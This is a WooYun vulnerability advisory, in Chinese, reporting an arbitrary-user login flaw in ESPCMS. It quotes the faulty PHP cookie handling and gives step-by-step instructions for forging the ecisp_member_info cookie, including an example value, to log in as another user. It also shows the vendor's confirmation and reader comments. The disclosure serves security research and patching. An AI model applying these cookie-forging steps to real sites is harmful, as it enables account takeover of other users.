当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(40) 关注此漏洞

缺陷编号: WooYun-2015-90324

漏洞标题: ESPCMS所有版本任意用户登陆

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: 夕风号

提交时间: 2015-01-06 18:21

公开时间: 2015-04-06 18:22

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

12人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-03-03: 细节向核心白帽子及相关领域专家公开
2015-03-13: 细节向普通白帽子公开
2015-03-23: 细节向实习白帽子公开
2015-04-06: 细节向公众公开

简要描述:

ESPCMS所有版本任意用户登陆

详细说明:

/interface/memebermain.php

code 区域
$rsMember['userid'] = $this->ec_member_username_id;
$rsMember['rankname'] = $this->get_member_purview($rsMember['mcid'], 'rankname');
$userid = intval($rsMember['userid']);



跟进ec_member_username_id

/public/class_connector.php

code 区域
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));     //取自$_COOKIE['ecisp_member_info']
list($ec_member_username_id, $this->ec_member_alias, $ec_member_integral, $ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;
$this->ec_member_username_id = intval($ec_member_username_id);



综上所述,$userid值完全可控,以http://**.**.**.**为例,利用过程如下:

1.



注册,



http://**.**.**.**/index.php?ac=member&at=reg



假设我们要登陆$userid=3的用户,则用户名为3test

1.PNG





2.



登陆后,查看cookie,得到



code 区域
ecisp_member_username=C50S%2BB7auih2gDPIqEsfCZAX5nybIUZ%2FgbPTQp%2F6gm0%3D





3.

将cookie中的ecisp_member_info值更改为上述ecisp_member_username值,得,



code 区域
ecisp_member_info=C50S%2BB7auih2gDPIqEsfCZAX5nybIUZ%2FgbPTQp%2F6gm0%3D





此时,经过解密处理,可得

$userid=$this->ec_member_username_id=intval('3test')=3



4.



再次刷新,http://**.**.**.**/index.php?ac=membermain&at=center



2.PNG

漏洞证明:

修复方案:

改用session

版权声明:转载请注明来源 夕风号@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-07 11:43

厂商回复:

感谢您的提交,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-06 18:31 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    不用看我就知道了。

  2. 2015-01-06 18:47 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    2

    @roker 666

  3. 2015-01-06 18:52 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    @′雨。 777

  4. 2015-01-06 20:46 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)
    2

    目测会火。

  5. 2015-01-07 14:11 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    2

    怎么没在通用那里?

  6. 2015-01-10 21:43 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    1

    啥情况

  7. 2015-01-12 12:49 | neal ( 普通白帽子 | Rank:219 漏洞数:23 )
    1

    提交这个 一般都是 匿名 因为大家都知道 他的算法有问题 一直没改

  8. 2015-01-27 12:40 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @roker 这个不错哦。:)

  9. 2015-01-27 12:55 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @′雨。 啪啪啪

  10. 2015-04-06 18:45 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @neal 这个其实很吊,并不是算法问题。不知道谁交的。

  11. 2015-04-08 16:38 | 胡小树 ( 实习白帽子 | Rank:66 漏洞数:13 | 我是一颗小小树)
    0

    @phith0n 算是逻辑漏洞吗,intval函数必须得小心使用啊

  12. 2015-06-08 13:21 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    真的吊

  13. 2015-07-18 18:44 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    又是intval的坑

  14. 2015-12-29 10:27 | APTs之会飞的猪 ( 路人 | Rank:8 漏洞数:6 | 如果不是乔布斯最初允许微软使用自己的图形...)
    0

    呵呵,又一个算法可信问题,COOKIE没加salt?

登录后才能发表评论,请先 登录